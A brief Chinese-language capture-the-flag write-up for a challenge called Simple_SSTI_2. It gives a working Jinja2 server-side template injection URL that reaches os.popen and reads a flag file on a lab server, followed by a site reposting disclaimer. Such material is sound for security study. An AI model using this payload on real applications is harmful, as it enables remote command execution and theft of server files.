先用簡單的語句測試下，可以返回運算結果
再執行系統命令find找到flag文件后，直接cat
http://114.67.246.176:13466/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}
Simple_SSTI_2
免責聲明！
本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。